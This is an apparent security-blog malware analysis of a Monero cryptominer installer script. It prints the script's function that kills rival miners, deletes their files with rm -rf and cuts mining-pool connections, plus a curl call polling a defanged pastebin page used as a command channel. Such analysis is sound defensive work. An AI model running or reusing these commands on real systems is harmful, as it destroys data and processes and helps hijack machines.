With the growing threat of ransomware attacks, they are other malicious activities that have less attention today but they remain active. Think about crypto-miners. Yes, attackers continue to mine Monero on compromised systems. I spotted an interesting shell script that installs and runs a crypto-miner (SHA256:00e2ddca696426d9cad992662284d1f28b9ecd44ed7c1be39789417c1ea9a5f2[1]).

The script looks to be a classic one but there are some interesting behaviours that I'd like to share.

Such scripts, before launching the miner, are trying to get rid of previously installed concurrent tools. I already covered this in a previous diary[2] but how do they behave today? The script implements a function kills() that searches for existing miners and kills them. But it goes one step further: It also checks for established connections to specific ports or IP addresses!

function kills() {
pkill -f sourplum
pkill wnTKYg && pkill ddg* && rm -rf /tmp/ddg* && rm -rf /tmp/wnTKYg
rm -rf /tmp/qW3xT.2 /tmp/ddgs.3013 /tmp/ddgs.3012 /tmp/wnTKYg /tmp/2t3ik
rm -rf /boot/grub/deamon && rm -rf /boot/grub/disk_genius
rm -rf /tmp/*index_bak*
rm -rf /tmp/*httpd.conf*
rm -rf /tmp/*httpd.conf
rm -rf /tmp/a7b104c270
ps auxf|grep -v grep|grep "mine[.]moneropool[.]com"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr[.]crypto-pool[.]fr:8080"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr[.]crypto-pool[.]fr:3333"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "monerohash[.]com"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/tmp/a7b104c270"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr[.]crypto-pool[.]fr:6666"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr[.]crypto-pool[.]fr:7777"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr[.]crypto-pool[.]fr:443"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "stratum[.]f2pool[.]com:8888"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrpool.eu" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrig" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrigDaemon" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrigMiner" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/var/tmp/java" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "ddgs" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "qW3xT" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "t00ls.ru" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/var/tmp/sustes" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "sustes" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "Xbash" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "hashfish" | awk '{print $2}'|xargs kill -9
pkill -f biosetjenkins
pkill -f AnXqV.yam
pkill -f xmrigDaemon
pkill -f xmrigMiner
pkill -f xmrig
pkill -f Loopback
pkill -f apaceha
pkill -f cryptonight
pkill -f stratum
pkill -f mixnerdx
pkill -f performedl
pkill -f JnKihGjn
pkill -f irqba2anc1
pkill -f irqba5xnc1
pkill -f irqbnc1
pkill -f ir29xc1
pkill -f conns
pkill -f irqbalance
pkill -f crypto-pool
pkill -f minexmr
pkill -f XJnRj
pkill -f NXLAi
pkill -f BI5zj
pkill -f askdljlqw
pkill -f minerd
pkill -f minergate
pkill -f Guard.sh
pkill -f ysaydh
pkill -f bonns
pkill -f donns
pkill -f kxjd
pkill -f Duck.sh
pkill -f bonn.sh
pkill -f conn.sh
pkill -f kworker34
pkill -f kw.sh
pkill -f pro.sh
pkill -f polkitd
pkill -f acpid
pkill -f icb5o
pkill -f nopxi
pkill -f irqbalanc1
pkill -f minerd
pkill -f i586
pkill -f gddr
pkill -f mstxmr
pkill -f ddg.2011
pkill -f wnTKYg
pkill -f deamon
pkill -f disk_genius
pkill -f sourplum
pkill -f bashx
pkill -f bashg
pkill -f bashe
pkill -f bashf
pkill -f bashh
pkill -f XbashY
pkill -f libapache
pkill -f qW3xT.2
pkill -f /usr/bin/.sshd
pkill -f sustes
pkill -f Xbash
rm -rf /var/tmp/j*
rm -rf /tmp/j*
rm -rf /var/tmp/java
rm -rf /tmp/java
rm -rf /var/tmp/java2
rm -rf /tmp/java2
rm -rf /var/tmp/java*
rm -rf /tmp/java*
rm -rf /tmp/httpd.conf
rm -rf /tmp/conn
rm -rf /tmp/root.sh /tmp/pools.txt /tmp/libapache /tmp/config.json /tmp/bashf /tmp/bashg /tmp/libapache
rm -rf /tmp/conns
rm -f /tmp/irq.sh
rm -f /tmp/irqbalanc1
rm -f /tmp/irq
rm -rf /tmp/kworkerds /bin/kworkerds /bin/config.json /var/tmp/kworkerds /var/tmp/config.json /usr/local/lib/libjdk.so
rm -rf /tmp/.systemd-private-*
chattr -i /usr/lib/libiacpkmn.so.3 && rm -rf /usr/lib/libiacpkmn.so.3
chattr -i /etc/init.d/nfstruncate && rm -rf /etc/init.d/nfstruncate
rm -rf /etc/rc.d/rc*.d/S01nfstruncate /bin/nfstruncate
netstat -anp | grep 69[.]28[.]55[.]86:443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep 185[.]71[.]65[.]238 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep 140[.]82[.]52[.]87 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :3333 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :4444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :5555 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :6666 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :7777 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :3347 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :14444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :14433 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :13531 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
p=$(ps auxf|grep -v grep|grep kworkerds|wc -l)
if [ ${p} -eq 0 ];then
    netstat -anp | grep :13531 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    ps auxf|grep -v grep | awk '{if($3>=90.0) print $2}'| xargs kill -9
fi
}

This function is a perfect candidate to be rewritten from a defender's point of view and used to detect a potential miner running on your computers!

The second interesting point is the use of pastebin.com not only to download malicious payloads but also as a very simple C2 communication channel. Do you know that, when you create a pastie, you can edit it later:

The script (executed from a corn job), grabs the content of a pastie and, base on the content, behaves in different ways:

update=$( curl -fsSL --connect-timeout 120 hxxps://pastebin[.]com/raw/SSCy7mY7 )
if [ ${update}x = "update"x ];then
    echocron
else
    ...

The current pastie content:

remnux@remnux:/MalwareZoo/20210319$ curl hxxps://pastebin[.]com/raw/SSCy7mY7
noupdate

Simple but effective!

[1] https://www.virustotal.com/gui/file/00e2ddca696426d9cad992662284d1f28b9ecd44ed7c1be39789417c1ea9a5f2/detection
[2] https://isc.sans.edu/forums/diary/The+Crypto+Miners+Fight+For+CPU+Cycles/23407

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key